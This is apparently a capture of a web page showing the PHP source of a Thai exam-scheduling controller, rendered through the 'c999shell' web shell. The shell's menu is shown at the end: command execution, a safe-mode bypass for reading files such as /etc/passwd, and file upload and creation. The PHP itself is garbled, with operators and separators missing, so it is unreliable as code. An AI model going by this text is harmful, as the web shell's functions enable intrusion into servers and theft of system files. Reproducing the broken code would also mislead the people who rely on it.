'coTmId'    => $tmId,
                
'cofCurId'    => $curId
            
);
            
$rs_co $this->co->qryCoJoinCofCrs($con_rs_co);
            foreach (
$rs_co->result() as $row_co) {
                
$j 0;
                
$prsNames '';
                
$con_rs_es = array('esCoId'    => $row_co->coId,
                    
'esExamType'    => $exType
                
);
                
$rs_es $this->es->qryEs($con_rs_es);
                foreach (
$rs_es->result() as $row_es) {
                    
$con_qu_prs = array('prsId'     => $row_es->esPrsId);
                    
$qu_prs $this->prs->qryPrsJoinPPC($con_qu_prs);

                    if (
$qu_prs->num_rows()) {
                        if (
$j == 0) {
                            
$arr[$i]['esDate'] = $row_es->esDate;

                            
$this->st->stId $row_es->esStId;
                            
$arr[$i]['qu_st'] = $this->st->get_by_key();

                            
$this->rm->plHwId $row_es->esRmId;
                            
$arr[$i]['qu_rm'] = $this->rm->get_by_key();

                            
$this->prd->prdId $row_es->esPrdFrTime;
                            
$arr[$i]['qu_prd1'] = $this->prd->get_by_key();

                            
$this->prd->prdId $row_es->esPrdToTime;
                            
$arr[$i]['qu_prd2'] = $this->prd->get_by_key();

                            
$prsNames $qu_prs->row()->name;
                        } else {
                            
$prsNames .= '<br />'.$qu_prs->row()->name;
                        }
                    }

                    
$j++;
                }
                
$arr[$i]['mtd'] = $j;
                
$arr[$i]['prsNames'] = $prsNames;

                
$pgNames '';
                if (
is_null($row_co->coCurId)) {
                    
$k 0;
                    
$con_rs_cof = array('cofCoId'    => $row_co->coId);
                    
$rs_cof $this->cof->qryCofJoinCur($con_rs_cof);
                    foreach (
$rs_cof->result() as $row_cof) {
                        if (
$k == 0) {
                            
$pgNames $row_cof->curName;
                        } else {
                            
$pgNames .= '<br />&nbsp;'.$row_cof->curName;
                        }

                        
$k++;
                    }
                }
                
$arr[$i]['pgNames'] = $pgNames;

                
$con_qu_co = array('coId'    => $row_co->coId);
                
$arr[$i]['qu_co'] = $this->co->qryCoJoinCrs($con_qu_co);

                
$i++;
            }
            
$this->contents['rs'] = $arr;

            
$this->contents['rs_st2'] = $this->st->qrySt();

            
$this->output($this->config->item("rg_folder")."v_addExamSchedule");
        }
    }

    function 
es_insert() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<div class="error">','</div>');
        
$this->form_validation->set_rules('esStId'' ''trim|required|xss_clean');
        
$this->form_validation->set_rules('esRmId'' ''trim|required|xss_clean');
        
$this->form_validation->set_rules('esPrdFrTime'' ''trim|required|xss_clean');
        
$this->form_validation->set_rules('esPrdToTime'' ''trim|required|xss_clean');
        
$this->form_validation->set_rules('esDate'' ''trim|required|xss_clean');
        
$this->form_validation->set_rules('prsId[]'' ''trim|xss_clean');

        if(
$this->form_validation->run() == true) {
            
$this->load->model($this->config->item("rg_folder").'mo_rg_examschedule','es');

            
$esDate splitDateForm2($this->input->post('esDate'), '-');
            
$curId $this->input->post('curId');
            
$syId $this->input->post('syId');
            
$acY $this->input->post('acY');
            
$tmId $this->input->post('tmId');
            
$coId $this->input->post('coId');
            
$exType $this->input->post('exType');
            
$prsId $this->input->post('prsId');
            
$esRmId $this->input->post('esRmId');
            
$esStId $this->input->post('esStId');
            
$esPrdFrTime $this->input->post('esPrdFrTime');
            
$esPrdToTime $this->input->post('esPrdToTime');

            
$msg '';
            
// Delete All
            
$con_rs_es = array('esCoId'    => $coId,
                
'esExamType'    => $exType
            
);
            
$rs_es $this->es->qryEs($con_rs_es);
            foreach (
$rs_es->result() as $row_es) {
                
$this->es->esCoId $row_es->esCoId;
                
$this->es->esRmId $row_es->esRmId;
                
$this->es->esExamType $row_es->esExamType;
                
$this->es->esDate $row_es->esDate;
                
$this->es->esPrdFrTime $row_es->esPrdFrTime;
                
$this->es->esStId $row_es->esStId;
                
$this->es->esPrsId $row_es->esPrsId;
                
$this->es->delete();

            }

            
$this->db->trans_begin();
            
// Insert All
            
for ($i 0$i count($prsId); $i++) {
                if (
$prsId[$i]) {
                    
$flag1 $this->es->getCountByExTypeDateRmIdTime($exType$esDate$esRmId$esPrdFrTime$esPrdToTime);
                    
// หา วันที่ เวลาในการใช้ห้องว่ามีหรือไม่
                    
$flag2 $this->es->getCountByDateTimePrsId($esDate$esPrdFrTime$esPrdToTime$prsId[$i]);
                    
// หาวันที่ และเวลาคุมสอบของอาจารย์

                    // หารายวิชาว่ามีการจัดตารางสอบแล้วหรือยัง
                    
$con_rs_es = array(    'esCoId'    => $coId,
                                        
'esExamType'    => $exType
                    
);
                    
$cntCo $this->es->getCountCoId($con_rs_es);
                    if (
$cntCo) {
                        if (
$flag2 == 0) {
                            
$this->es->esCoId $coId;
                            
$this->es->esRmId $esRmId;
                            
$this->es->esExamType $exType;
                            
$this->es->esDate $esDate;
                            
$this->es->esPrdFrTime $esPrdFrTime;
                            
$this->es->esStId $esStId;
                            
$this->es->esPrdToTime $esPrdToTime;
                            
$this->es->esPrsId $prsId[$i];
                            
$this->es->insert();
                        } else {
                            
$msg "ไม่สามารถบันทึกข้อมูล วัน เวลาและห้องสอบซ้ำซ้อนกันได้<br />กรุณาตรวจสอบข้อมูลอีกครั้ง";
                            
//$msg .= "<span class=\"hand\" onClick=\"sendPost('hidform', {'curId':".$curId.",'syId':".$syId.",'acY':".$acY.",'tmId':".$tmId.",'exType':'".$exType."'}, '".site_url($this->config->item("rg_folder")."preregis/es_input")."')\">คลิกที่นี่</span>";    //ค้าง
//                            $this->db->trans_rollback();
//                            $this->session->set_flashdata('msg', $msg);
//                            redirect($this->config->item("rg_folder")."msg/err_msg");
                        
}
                    } else {
                        if ((
$flag1 == 0) && ($flag2 == 0)) {
                            
$this->es->esCoId $coId;
                            
$this->es->esRmId $esRmId;
                            
$this->es->esExamType $exType;
                            
$this->es->esDate $esDate;
                            
$this->es->esPrdFrTime $esPrdFrTime;
                            
$this->es->esStId $esStId;
                            
$this->es->esPrdToTime $esPrdToTime;
                            
$this->es->esPrsId $prsId[$i];
                            
$this->es->insert();
                        } else {
                            
$msg "ไม่สามารถบันทึกข้อมูล วัน เวลาและห้องสอบซ้ำซ้อนกันได้<br />กรุณาตรวจสอบข้อมูลอีกครั้ง ";
                            
//$msg .= "<span class=\"hand\" onClick=\"sendPost('hidform', {'curId':".$curId.",'syId':".$syId.",'acY':".$acY.",'tmId':".$tmId.",'exType':'".$exType."'}, '".site_url($this->config->item("rg_folder")."preregis/es_input")."')\">คลิกที่นี่</span>";    //ค้าง
//                            $this->db->trans_rollback();
//                            $this->session->set_flashdata('msg', $msg);
//                            redirect($this->config->item("rg_folder")."msg/err_msg");
                        
}
                    }    
// end if
                
}    // end if
            
}    // end for

            
$this->db->trans_commit();
            if (
$msg) {
                
$this->session->set_flashdata('msg'$msg);
                
redirect($this->config->item("rg_folder")."msg/err_msg");
            } 
        }

        
$this->es_input();
    }
    
    function 
checkOVLCourse(){
        
$this->load->model($this->config->item("rg_folder").'mo_rg_term','tm');

        
$this->contents['acY'] = ($this->input->post('acY')) ? $this->input->post('acY') : $this->session->userdata('acY');    
        
$this->contents['tmId'] = ($this->input->post('tmId')) ? $this->input->post('tmId') : $this->session->userdata('tmId');
        
        if(
$this->input->post('btnSearth')){
            
$this->load->model($this->config->item("rg_folder").'mo_rg_timetable','tt');            

            
$cond = array('coAcY' => $this->contents['acY'], 'coTmId' => $this->contents['tmId']);
            
$gpd = array('coAcY' => 'coAcY''coTmId' => 'coTmId''ttDyId' => 'ttDyId''ttRmId' => 'ttRmId''ttPrdFrTime' => 'ttPrdFrTime''ttPrdToTime' => 'ttPrdToTime');        
            
$this->contents['rs_tt'] = $this->tt->qryTtJoinCo($cond,'',$gpd);
            
            
$this->contents['tt'] = $this->tt;
        }

        
$this->contents['rs_tm'] = $this->tm->get_options('','','',FALSE);

        
$this->output($this->config->item("rg_folder")."v_searchCheckOVLCourse");
    }
    
/* 
    เพิ่ม : สำหรับฟังก์ชั่นด้านล่างเป็นฟังก์ชั่น callback สำหรับตรวจสอบ validation
    */
//    function checkAdY($str) {
//        if($str=='') {
//            $this->form_validation->set_message('checkAdY','กรุณาป้อน%s');
//            return false;
//        } else if(strlen($str)!=4) {
//            $this->form_validation->set_message('checkAdY','%sจะต้องเท่ากับ 4 หลัก');
//            return false;
//        } else if($str==0) {
//            $this->form_validation->set_message('checkAdY','%sจะต้องมากกว่า 0');
//            return false;
//        } else {
//            return true;
//        }
//    }
//    function checkAcY($str) {
//        if($str=='') {
//            $this->form_validation->set_message('checkAcY','กรุณาป้อน%s');
//            return false;
//        } else if(strlen($str)!=4) {
//            $this->form_validation->set_message('checkAcY','%sจะต้องเท่ากับ 4 หลัก');
//            return false;
//        } else if($str==0) {
//            $this->form_validation->set_message('checkAcY','%sจะต้องมากกว่า 0');
//            return false;
//        }
//
//        if($str >= $this->input->post('adY')) {
//            return true;
//        } else {
//            $this->form_validation->set_message('checkAcY','%sจะต้องมากกว่าหรือเท่ากับปีการศึกษาที่เข้า');
//            return false;
//        }
//    }
//    function checkAcYInTmc($str) {
//        if($str=="") {
//            $this->form_validation->set_message('checkAcYInTmc','กรุณาป้อนปีการศึกษา');
//            return false;
//        } else if(strlen($str)!=4) {
//            $this->form_validation->set_message('checkAcYInTmc','ปีการศึกษาจะต้องมากกว่า 4 หลัก');
//            return false;
//        } else {
//            $this->load->model($this->config->item("rg_folder").'mo_rg_termconfig','tmc');
//
//            $con_rs_tmc = array('tmcAcY'    => $str);
//            $grp_rs_tmc = array('tmcAcY'    => 'tmcAcY');
//            $rs_tmc = $this->tmc->qryTmc($con_rs_tmc,'',$grp_rs_tmc);
//
//            if($rs_tmc->num_rows())
//                return true;
//            else
//                $this->form_validation->set_message('checkAcYInTmc','ปีการศึกษาไม่ถูกต้อง');
//                return false;
//        }
//    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0275 ]--